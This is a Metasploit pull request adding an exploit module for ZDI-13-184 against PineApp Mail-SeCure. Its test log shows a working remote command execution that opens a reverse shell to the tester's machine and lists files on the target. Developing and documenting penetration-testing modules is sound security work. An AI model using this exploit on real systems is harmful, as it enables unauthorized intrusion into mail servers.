rapid7/metasploit-framework — pull request #2167 by jvazquez-r7 (2013-07-28 15:01:50+00:00)
Title: Add module for ZDI-13-184

Tested successfully with PineApp Mail-SeCure 3.70

Like this one because the vulnerable component expects the data to be base64 encoded (including the payload :))

I think with this one the "exploit pack" for the PineApp application is sufficient. If any of you think worth to code modules for the others PineApp vulnerabilities published by ZDI let me know and I can work on it.

Test result:

```
msf exploit(pineapp_livelog_exec) > reload
[*] Reloading module...
check
msf exploit(pineapp_livelog_exec) > check
[*] The target appears to be vulnerable.
msf exploit(pineapp_livelog_exec) > exploit

[*] 192.168.24.24:7443 - Executing payload...
[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo X5ahgBPcgIkOoKSg;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "sh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\nX5ahgBPcgIkOoKSg\r\n"
[*] Matching...
[*] B is input...
i[*] Command shell session 4 opened (192.168.24.21:4444 -> 192.168.24.24:34395) at 2013-07-28 09:56:25 -0500
d

uid=1005(qmailq) gid=102(qmail) groups=102(qmail)
ls
admin
blocking.php
cgi-bin
download.php
downloads
en.php
ie.css
images
index.html
ize
js.js
livelog.html
palogin
pineapp_logo.jpeg
^C
Abort session 4? [y/N] y
```